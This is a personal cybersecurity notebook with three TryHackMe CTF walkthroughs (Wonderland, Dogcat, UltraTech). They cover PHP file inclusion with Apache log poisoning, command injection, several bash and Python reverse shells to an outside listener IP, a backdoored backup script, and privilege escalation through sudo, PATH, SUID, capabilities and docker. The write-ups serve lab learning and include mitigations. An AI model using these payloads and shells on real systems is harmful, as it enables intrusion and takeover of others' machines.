🛡️ My Cyber Notebook
Notes, references, and CTF writeups — stitched together with curiosity, reproducibility, and a mildly unhealthy love for automation.
Browse Notes • See Writeups • Reference Hub
What this is
This book is a growing collection of concise notes, repeatable configs, and step-by-step writeups from my work in:
- Linux hardening & privesc, network forensics, web exploitation, and reversing.
- My homelab (Proxmox + LXC/Docker, segmented networks, Tailscale, TLS).
- Ansible roles/playbooks for CIS/ANSSI-style hardening and lab automation.
Where helpful, pages are tagged (e.g., linux, privesc, web, pwn, ansible). If you have mdbook-tags enabled, you’ll get automatic tag indexes under /tags/….
“Document what you break, so you can break it better next time.”
Structure
- Notes — short, focused pages: theory, commands, gotchas.
Start here: notes/README.md - Writeups — full walkthroughs for TryHackMe, Root-Me, FCSC, etc.
Start here: writeups/README.md - References — tools I reuse, shell snippets, bibliography.
Start here: references/README.md
If search is enabled (mdbook-search), use the 🔍 bar to jump to commands or error strings.
Homelab snapshot
- Segmented services (Pi-hole, Vaultwarden, Nextcloud AIO, Jellyfin, SIEMini).
- LXC + Docker Compose + Ansible for repeatability.
- Logs routed to a mini-SIEM (Snort3, Syslog-NG, Elastic/Kibana).
🛡️ Notes
This section is my technical notebook — a living collection of what I learn, test, and refine across cybersecurity, system administration, and software engineering.
I use these notes to:
- Consolidate fragmented knowledge from CTFs, labs, and courses.
- Record useful commands, configurations, and short explanations.
- Bridge concepts between offensive, defensive, and operational security.
Linux
Permissions
Networking
Hardening
Web
SQL Injection
XSS
JWT
Reverse Engineering
Ghidra
Pwntools
Shellcode
Writeups
TryHackMe
Wonderland CTF
End‑to‑end exploitation path with commands, rationale, and mitigations.
Scope & Target
- Host:
10.201.105.251 - Goal: Obtain user and root flags
- Methodology: Recon → Web enum → Initial access → Priv‑esc chain (alice → rabbit → hatter → root)
TL;DR Path
- Web enum discovers
/r/a/b/b/i/t/and reveals credentialsalice:HowDothTheLittleCrocodileImproveHisShiningTail. - SSH as
alice. - Sudo‑allowed Python as user
rabbitexecutes/home/alice/walrus_and_the_carpenter.py; hijack Python module resolution with a maliciousrandom.pyto pop a shell asrabbit. - Tea Party binary is vulnerable to PATH injection on
date; craft/tmp/bin/date→ shell ashatter. - Enumerate capabilities;
/usr/bin/perlhascap_setuid+ep. Use Perl to setuid(0) → root. - Read flags.
Recon
Nmap
nmap -sV -Pn -oN nmap.txt 10.201.105.251
# 22/tcp open ssh OpenSSH 7.6p1
# 80/tcp open http Golang net/http server
Notes: Two exposed services, HTTP on 80 looks like a Go server, likely a light file server or app; SSH is present for potential credential reuse.
Content Discovery
ffuf -w /usr/share/wordlists/dirb/common.txt -u http://10.201.105.251/FUZZ
# ... r (301), img (301), index.html (301)
ffuf -w /usr/share/wordlists/dirb/common.txt -u http://10.201.105.251/r/FUZZ
# ... a (301)
Manual traversal suggests a rabbit‑hole (literally).
Web Enumeration → Credential Disclosure
Progressive path guessing:
curl http://10.201.105.251/r/
curl http://10.201.105.251/r/a/
curl http://10.201.105.251/r/a/b/b/i/t/
Final page contains a hidden line with credentials:
<p style="display: none;">
alice:HowDothTheLittleCrocodileImproveHisShiningTail
</p>
Initial Foothold (SSH → alice)
ssh alice@10.201.105.251
whoami && id && ls -la
# user: alice
Interesting files:
~/walrus_and_the_carpenter.py~/root.txt(not readable yet)
Sudo privileges:
sudo -l
# (rabbit) /usr/bin/python3.6 /home/alice/walrus_and_the_carpenter.py
alice → rabbit: Python Module Hijacking via random.py
walrus_and_the_carpenter.py:
import random
poem = """..."""
for i in range(10):
line = random.choice(poem.split("\n"))
print("The line was:\t", line)
Observation: Python’s import order puts the script directory early in sys.path. If we drop a random.py next to the target script, it will be imported instead of the stdlib random module.
Create malicious module:
# /home/alice/random.py
import os
os.execl('/bin/bash', 'bash', '-p')
Execute as rabbit via sudo:
sudo -u rabbit /usr/bin/python3.6 /home/alice/walrus_and_the_carpenter.py
whoami
# rabbit
rabbit → hatter: PATH Injection on teaParty
List rabbit’s home:
ls -la /home/rabbit
# teaParty (ELF or script)
/home/rabbit/teaParty
# Output includes: "Probably by Sun, 09 Nov 2025 00:46:02 +0000"
# The program likely calls `date` without an absolute path.
Exploit by shadowing date:
mkdir -p /tmp/bin
printf '#!/bin/sh\n/bin/sh -p\n' > /tmp/bin/date
chmod +x /tmp/bin/date
PATH=/tmp/bin:$PATH /home/rabbit/teaParty
id
# uid=1003(hatter) gid=1002(rabbit) groups=1002(rabbit)
hatter → root: Linux Capabilities (Perl cap_setuid)
Enumerate capabilities:
getcap -r / 2>/dev/null
# /usr/bin/perl = cap_setuid+ep
# /usr/bin/perl5.x = cap_setuid+ep
Abuse with Perl:
/usr/bin/perl -e 'use POSIX qw(setuid); POSIX::setuid(0); exec "/bin/sh";'
id
# uid=0(root)
Loot (Flags)
cat /root/user.txt /home/alice/root.txt
# thm{"Curiouser and curiouser!"}
# thm{Twinkle, twinkle, little bat! How I wonder what you’re at!}
Detection & Forensics Notes
- Web access logs for
/r/a/b/b/i/t/reveal reconnaissance timeline. .bash_historyforalice,rabbit,hatter(if not restricted) exposes commands:sudo -u rabbit ...,PATH=/tmp/bin:$PATH ..., Perl setuid exploit.- File system artifacts:
/home/alice/random.py/tmp/bin/date
auth.log/secureentries for escalations tied tosudoand SSH sessions.getcapenumeration indicates misconfiguration (capability left on an interpreter).
Mitigations
- Web app / Content: Don’t expose credentials in hidden DOM; move secrets to server‑side; apply content reviews.
- Least privilege: Remove sudo rules that allow executing interpreters; if needed, whitelist exact binaries with absolute interpreter paths and
NOEXECmounts where possible. - Python imports: Execute with sanitized
PYTHONPATH; vendor required modules; run with-I(isolated mode) or setsys.pathexplicitly. - PATH safety: In set‑uid or privileged binaries, use absolute paths for all external calls or drop privileges before invoking utilities.
- Capabilities: Avoid granting
cap_setuidto interpreters (Perl/Python). If required, wrap capability into a minimal, audited helper in C that drops privileges immediately after use. - Monitoring: Alert on capability changes (
setcap), unexpected binaries in world‑writable directories (/tmp/bin/*), and suspicioussudo -u <otheruser>patterns.
Appendix — Full Command Log
# Recon
nmap -sV -Pn -oN nmap.txt 10.201.105.251
ffuf -w /usr/share/wordlists/dirb/common.txt -u http://10.201.105.251/FUZZ
ffuf -w /usr/share/wordlists/dirb/common.txt -u http://10.201.105.251/r/FUZZ
curl http://10.201.105.251/r/a/b/b/i/t/
# Initial access
ssh alice@10.201.105.251
# Escalate to rabbit
cat /home/alice/walrus_and_the_carpenter.py
printf 'import os\nos.execl(\"/bin/bash\",\"bash\",\"-p\")\n' > /home/alice/random.py
sudo -u rabbit /usr/bin/python3.6 /home/alice/walrus_and_the_carpenter.py
# Rabbit → Hatter (PATH injection)
mkdir -p /tmp/bin
printf '#!/bin/sh\n/bin/sh -p\n' > /tmp/bin/date
chmod +x /tmp/bin/date
PATH=/tmp/bin:$PATH /home/rabbit/teaParty
# Hatter → Root (capabilities)
getcap -r / 2>/dev/null | grep perl
/usr/bin/perl -e 'use POSIX qw(setuid); POSIX::setuid(0); exec "/bin/sh";'
# Proof
cat /root/user.txt /home/alice/root.txt
Dogcat CTF — Full Write-Up
TL;DR
- Entry: PHP local file inclusion (LFI) via
?view=+ path traversal and php://filter → source disclosure and/etc/passwd. - Execution: Log poisoning of Apache access log → include log to execute PHP → reverse shell.
- PrivEsc #1 (container): SUID-bit on
/usr/bin/env→bash -p→ root in container. - PrivEsc #2 (host): Writable backup script in
/opt/backups/backup.sh→ command injection → root on host. - Loot:
flag1(web root),flag2(FS),flag3(container root),flag4(host root).
Recon
![[writeups/tryhackme/dogcat/images/index.png]]
Port scan
nmap -sV -Pn -oN nmap.txt 10.201.127.166
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
80/tcp open http Apache httpd 2.4.38 ((Debian))
Rationale: quick service discovery to pick the likely web attack surface. SSH noted but de-prioritized until creds/keys appear.
Content discovery
ffuf -w /usr/share/wordlists/dirb/common.txt -u http://10.201.127.166/\?view\=FUZZ -fw 77
acatalog [Status: 200, Size: 759, Words: 106, Lines: 24, Duration: 171ms]
alcatel [Status: 200, Size: 757, Words: 106, Lines: 24, Duration: 174ms]
application [Status: 200, Size: 765, Words: 106, Lines: 24, Duration: 178ms]
[OMITTED]
curl 'http://10.201.127.166/?view=acatalog'
[OMITTED]
<b>Warning</b>: include(tomcat.php): failed to open stream: No such file or directory in <b>/var/www/html/index.php</b> on line <b>24</b><br />
<br />
<b>Warning</b>: include(): Failed opening 'acatalog.php' for inclusion (include_path='.:/usr/local/lib/php') in <b>/var/www/html/index.php</b> on line <b>24</b>
Observation: the app routes by view, returning 200 for many tokens, hinting at a server-side include pattern. Errors show include(<view>.php) from index.php. Hypothesis: LFI with extension control.
Vulnerability Analysis (LFI → RCE)
curl 'http://10.201.127.166/?view=php://filter/convert.base64-encode/resource=index'
[OMITTED]
<br>
Sorry, only dogs or cats are allowed. </div>
Source disclosure via php://filter
curl 'http://10.201.127.166/?view=php://filter/convert.base64-encode/resource=dog/../index'
[OMITTED]
PCFET0NUWVBFIEhUTUw+CjxodG1sPgoKPGhlYWQ+CiAgICA8dGl0bGU+ZG9nY2F0PC90aXRsZT4KICAgIDxsaW5rIHJlbD0ic3R5bGVzaGVldCIgdHlwZT0idGV4dC9jc3MiIGhyZWY9Ii9zdHlsZS5jc3MiPgo8L2hlYWQ+Cgo8Ym9keT4KICAgIDxoMT5kb2djYXQ8L2gxPgogICAgPGk+YSBnYWxsZXJ5IG9mIHZhcmlvdXMgZG9ncyBvciBjYXRzPC9pPgoKICAgIDxkaXY+CiAgICAgICAgPGgyPldoYXQgd291bGQgeW91IGxpa2UgdG8gc2VlPzwvaDI+CiAgICAgICAgPGEgaHJlZj0iLz92aWV3PWRvZyI+PGJ1dHRvbiBpZD0iZG9nIj5BIGRvZzwvYnV0dG9uPjwvYT4gPGEgaHJlZj0iLz92aWV3PWNhdCI+PGJ1dHRvbiBpZD0iY2F0Ij5BIGNhdDwvYnV0dG9uPjwvYT48YnI+CiAgICAgICAgPD9waHAKICAgICAgICAgICAgZnVuY3Rpb24gY29udGFpbnNTdHIoJHN0ciwgJHN1YnN0cikgewogICAgICAgICAgICAgICAgcmV0dXJuIHN0cnBvcygkc3RyLCAkc3Vic3RyKSAhPT0gZmFsc2U7CiAgICAgICAgICAgIH0KCSAgICAkZXh0ID0gaXNzZXQoJF9HRVRbImV4dCJdKSA/ICRfR0VUWyJleHQiXSA6ICcucGhwJzsKICAgICAgICAgICAgaWYoaXNzZXQoJF9HRVRbJ3ZpZXcnXSkpIHsKICAgICAgICAgICAgICAgIGlmKGNvbnRhaW5zU3RyKCRfR0VUWyd2aWV3J10sICdkb2cnKSB8fCBjb250YWluc1N0cigkX0dFVFsndmlldyddLCAnY2F0JykpIHsKICAgICAgICAgICAgICAgICAgICBlY2hvICdIZXJlIHlvdSBnbyEnOwogICAgICAgICAgICAgICAgICAgIGluY2x1ZGUgJF9HRVRbJ3ZpZXcnXSAuICRleHQ7CiAgICAgICAgICAgICAgICB9IGVsc2UgewogICAgICAgICAgICAgICAgICAgIGVjaG8gJ1NvcnJ5LCBvbmx5IGRvZ3Mgb3IgY2F0cyBhcmUgYWxsb3dlZC4nOwogICAgICAgICAgICAgICAgfQogICAgICAgICAgICB9CiAgICAgICAgPz4KICAgIDwvZGl2Pgo8L2JvZHk+Cgo8L2h0bWw+Cg==
echo "PCFET0NUWVBFIEhUTUw+..." | base64 -d
[OMITTED]
<?php
function containsStr($str, $substr) {
return strpos($str, $substr) !== false;
}
$ext = isset($_GET["ext"]) ? $_GET["ext"] : '.php';
if(isset($_GET['view'])) {
if(containsStr($_GET['view'], 'dog') || containsStr($_GET['view'], 'cat')) {
echo 'Here you go!';
include $_GET['view'] . $ext;
} else {
echo 'Sorry, only dogs or cats are allowed.';
}
}
?>
Key insight: We can bypass file type enforcement using &ext= (empty) and use php://filter to read files. Also, the allowlist only gates the “happy path”; we can still hit the else branch and include arbitrary paths when paired with traversal.
Read arbitrary files (path traversal)
curl 'http://10.201.127.166/?view=php://filter/convert.base64-encode/resource=dog/../../../../etc/passwd&ext='
[OMITTED]
cm9vdDp4OjA6MDpyb290Oi9yb290Oi9iaW4vYmFzaApkYWVtb246eDoxOjE6ZGFlbW9uOi91c3Ivc2JpbjovdXNyL3NiaW4vbm9sb2dpbgpiaW46eDoyOjI6YmluOi9iaW46L3Vzci9zYmluL25vbG9naW4Kc3lzOng6MzozOnN5czovZGV2Oi91c3Ivc2Jpbi9ub2xvZ2luCnN5bmM6eDo0OjY1NTM0OnN5bmM6L2JpbjovYmluL3N5bmMKZ2FtZXM6eDo1OjYwOmdhbWVzOi91c3IvZ2FtZXM6L3Vzci9zYmluL25vbG9naW4KbWFuOng6NjoxMjptYW46L3Zhci9jYWNoZS9tYW46L3Vzci9zYmluL25vbG9naW4KbHA6eDo3Ojc6bHA6L3Zhci9zcG9vbC9scGQ6L3Vzci9zYmluL25vbG9naW4KbWFpbDp4Ojg6ODptYWlsOi92YXIvbWFpbDovdXNyL3NiaW4vbm9sb2dpbgpuZXdzOng6OTo5Om5ld3M6L3Zhci9zcG9vbC9uZXdzOi91c3Ivc2Jpbi9ub2xvZ2luCnV1Y3A6eDoxMDoxMDp1dWNwOi92YXIvc3Bvb2wvdXVjcDovdXNyL3NiaW4vbm9sb2dpbgpwcm94eTp4OjEzOjEzOnByb3h5Oi9iaW46L3Vzci9zYmluL25vbG9naW4Kd3d3LWRhdGE6eDozMzozMzp3d3ctZGF0YTovdmFyL3d3dzovdXNyL3NiaW4vbm9sb2dpbgpiYWNrdXA6eDozNDozNDpiYWNrdXA6L3Zhci9iYWNrdXBzOi91c3Ivc2Jpbi9ub2xvZ2luCmxpc3Q6eDozODozODpNYWlsaW5nIExpc3QgTWFuYWdlcjovdmFyL2xpc3Q6L3Vzci9zYmluL25vbG9naW4KaXJjOng6Mzk6Mzk6aXJjZDovdmFyL3J1bi9pcmNkOi91c3Ivc2Jpbi9ub2xvZ2luCmduYXRzOng6NDE6NDE6R25hdHMgQnVnLVJlcG9ydGluZyBTeXN0ZW0gKGFkbWluKTovdmFyL2xpYi9nbmF0czovdXNyL3NiaW4vbm9sb2dpbgpub2JvZHk6eDo2NTUzNDo2NTUzNDpub2JvZHk6L25vbmV4aXN0ZW50Oi91c3Ivc2Jpbi9ub2xvZ2luCl9hcHQ6eDoxMDA6NjU1MzQ6Oi9ub25leGlzdGVudDovdXNyL3NiaW4vbm9sb2dpbgo= </div>
This confirms LFI + traversal and gives us OS context. At this point, two RCE paths are typical:
php://inputinclusion (if enabled), or- Apache log poisoning → include the log. We chose log poisoning (more deterministic).
RCE via Apache log poisoning
- Poison log with a PHP payload in User-Agent:
curl -A '"<?php system($_GET[x]); ?>' 'http://10.201.51.13/?view=dog'
- Trigger inclusion of access log and execute a reverse shell:
# LFI include of access.log, no extension, run /bin/bash reverse shell
curl 'http://10.201.51.13/?view=dog/../../../../var/log/apache2/access.log&ext=&x=bash%20%2Dc%20%27exec%20bash%20%2Di%20%26%3E%2Fdev%2Ftcp%2F10%2E23%2E99%2E212%2F4444%20%3C%261%27'
# Listener
nc -lvnp 4444
Connection from 10.201.51.13:34398
bash: cannot set terminal process group (1): Inappropriate ioctl for device
bash: no job control in this shell
www-data@6703c0ed25a3:/var/www/html$ id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
We land a www-data shell. Commentary: php://input could have been plan B if allow_url_include/stream wrappers were friendlier; logs were already confirmed readable, so poisoning was lower friction.
Post-Exploitation (Web Container)
Proofs & flags
# Web root
cat flag.php
<?php
$flag_1 = "THM{Th1s_1s_N0t_4_Catdog_ab67edfa}"
?>
cat ../flag2_QMW7JvaY2LvK.txt
THM{LF1_t0_RC3_aec3fb}
Thoughts: placing the first two flags in/near web root nudges the player to escalate further.
Privilege escalation (container → root)
SUID check:
find / -perm -4000 -ls 2>/dev/null
402184 52 -rwsr-xr-x 1 root root 51280 Jan 10 2019 /bin/mount
402201 64 -rwsr-xr-x 1 root root 63568 Jan 10 2019 /bin/su
402208 36 -rwsr-xr-x 1 root root 34888 Jan 10 2019 /bin/umount
403077 56 -rwsr-xr-x 1 root root 54096 Jul 27 2018 /usr/bin/chfn
403169 44 -rwsr-xr-x 1 root root 44440 Jul 27 2018 /usr/bin/newgrp
403179 64 -rwsr-xr-x 1 root root 63736 Jul 27 2018 /usr/bin/passwd
403080 44 -rwsr-xr-x 1 root root 44528 Jul 27 2018 /usr/bin/chsh
539630 44 -rwsr-sr-x 1 root root 43680 Feb 28 2019 /usr/bin/env
403126 84 -rwsr-xr-x 1 root root 84016 Jul 27 2018 /usr/bin/gpasswd
539824 156 -rwsr-xr-x 1 root root 157192 Feb 2 2020 /usr/bin/sudo
Exploit:
/usr/bin/env /bin/bash -p
id
uid=33(www-data) gid=33(www-data) euid=0(root) egid=0(root) groups=0(root),33(www-data)
cat /root/flag3.txt
THM{D1ff3r3nt_3nv1ronments_874112}
Comment: SUID env is a classic misconfig enabling bash -p (preserve privileges). Always strip SUID on generic binaries.
Lateral / Escape to Host Root
ls -a /
.dockerenv
Enumeration hinted at Dockerized environment (/.dockerenv). In /opt/backups:
ls -l /opt/backups
cat backup.sh
#!/bin/bash
tar cf /root/container/backup/backup.tar /root/container
Writable backup.sh lets us inject a one-liner reverse shell to hijack whatever executes it (likely cron/systemd on host bind-mount):
echo -e "bash -i >& /dev/tcp/10.23.99.212/9999 0>&1" >> /opt/backups/backup.sh
# Host listener
nc -lnvp 9999
# Shell pops as root on host
root@dogcat:~# ls
container
flag4.txt
cat flag4.txt
# THM{esc4l4tions_on_esc4l4tions_on_esc4l4tions_7a52b17dba6ebb0dc38bc1049bcba02d}
Commentary: This is a build/backup pipeline abuse—executable under higher privileges outside the container boundary. Integrity of scripts under /opt/backups must be enforced with permissions and signing.
UltraTech CTF
Recon
Nmap
nmap -sV -Pn -oN nmap.txt 10.10.211.245 -p21,22,8081,31331 -sC
PORT STATE SERVICE VERSION
21/tcp open ftp vsftpd 3.0.5
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.13 (Ubuntu Linux; protocol 2.0)
8081/tcp open http Node.js Express framework
31331/tcp open http Apache httpd 2.4.41 ((Ubuntu))
Web Enumeration
ffuf
ffuf -w /usr/share/wordlists/dirb/common.txt -u http://10.10.136.152:8081/FUZZ
auth [Status: 200, Size: 39, Words: 8, Lines: 1, Duration: 202ms]
ping [Status: 500, Size: 1094, Words: 52, Lines: 11, Duration: 123ms]
Endpoint behavior
Initial request:
curl 'http://10.10.216.51:8081/ping'
Response leaks stack trace:
TypeError: Cannot read property 'replace' of undefined
at app.get (/home/www/api/index.js:45:29)
Inference: Express route does req.query.<param>.replace(...) then shells out to ping.
Param discovery
curl 'http://10.10.216.51:8081/ping?ip=localhost'
PING localhost(localhost6.localdomain6 (::1)) 56 data bytes
64 bytes from localhost6.localdomain6 (::1): icmp_seq=1 ttl=64 time=0.031 ms
--- localhost ping statistics ---
1 packets transmitted, 1 received, 0% packet loss, time 0ms
rtt min/avg/max/mdev = 0.031/0.031/0.031/0.000 ms
Filter characteristics
- Testing basic commands injection technique such as semicolon
;or pipe|, found out they are stripped - Backticks and newlines survive
Proof of RCE
curl -G 'http://10.10.211.245:8081/pingip=127.0.0.1%0Aid'
PING 127.0.0.1 (127.0.0.1) 56(84) bytes of data.
64 bytes from 127.0.0.1: icmp_seq=1 ttl=64 time=0.072 ms
--- 127.0.0.1 ping statistics ---
1 packets transmitted, 1 received, 0% packet loss, time 0ms
rtt min/avg/max/mdev = 0.072/0.072/0.072/0.000 ms
uid=1002(www) gid=1002(www) groups=1002(www)
Reverse Shell
curl 'http://10.10.211.245:8081/ping?ip=127.0.0.1%0Abash%20-c%20%22exec%20bash%20-i%20%3E/dev/tcp/10.23.99.212/4444%202%3E%261%20%3C%261%22'
nc -lvnp 4444
Connection from 10.10.211.245:54508
id
ls
This command worked but the shell was unstabble. A better reliability came from Python PTY.
curl -G 'http://10.10.211.245:8081/ping' --data-urlencode $'ip=127.0.0.1`python - <<PY
import socket,os,pty
s=socket.socket()
s.connect(("10.23.99.212",4444))
for fd in (0,1,2): os.dup2(s.fileno(),fd)
pty.spawn("/bin/bash")
PY
echo 127.0.0.1`'
nc -lvnp 4444
Connection from 10.10.211.245:39338
www@ip-10-10-211-245:~/api$ id
id
uid=1002(www) gid=1002(www) groups=1002(www)
Linux Enumeration
Interesting file: SQLite DB
ls
# utech.db.sqlite
strings utech.db.sqlite
# CREATE TABLE users (login Varchar, password Varchar, type Int)
# r00t f357a0c52799563c7c7b76c1e7543a32
# admin 0d0ea5111e3c1def594c1684e3b9be84
Crack hashes (raw MD5)
![[crackstation.png]]
Using Crack station, we cracked r00t password
f357a0c52799563c7c7b76c1e7543a32→ n100906
admin password was also cracked.
Valid local users
grep /bin/bash /etc/passwd
root:x:0:0:root:/root:/bin/bash
lp1:x:1000:1000:lp1:/home/lp1:/bin/bash
r00t:x:1001:1001::/home/r00t:/bin/bash
ubuntu:x:1003:1004:Ubuntu:/home/ubuntu:/bin/bash
Switch user
Use r00t : n100906 to move to an owned context:
# via shell on box (or SSH if permitted)
su - r00t
id
# uid=1001(r00t) gid=1001(r00t) groups=1001(r00t),116(docker)
Privilege Escalation
r00t@ip-10-10-211-245:~$ id
uid=1001(r00t) gid=1001(r00t) groups=1001(r00t),116(docker)
Being in docker is root-equivalent. No need to pull images; host already has bash:latest.
Method: bind-mount / and chroot
docker image ls -a
REPOSITORY TAG IMAGE ID CREATED SIZE
bash latest 495d6437fc1e 6 years ago 15.8MB
docker run --rm -it -v /:/mnt --privileged bash:latest bash -lc 'chroot /mnt /bin/bash'
root@6896534b995b:/# id
uid=0(root) gid=0(root) groups=0(root),1(daemon),2(bin),3(sys),4(adm),6(disk),10(uucp),11,20(dialout),26(tape),27(sudo)
Lessons Learned
- Filters that delete a single metacharacter (
;) are security theater; command substitution and newlines remain lethal. - Any user in
dockeris effectively root; treat group assignment as a privileged operation. - Hashes in app artifacts rapidly become credentials if they’re unsalted MD5.
- Deny detailed error pages to unauthenticated clients—stack traces map the code path to the bug.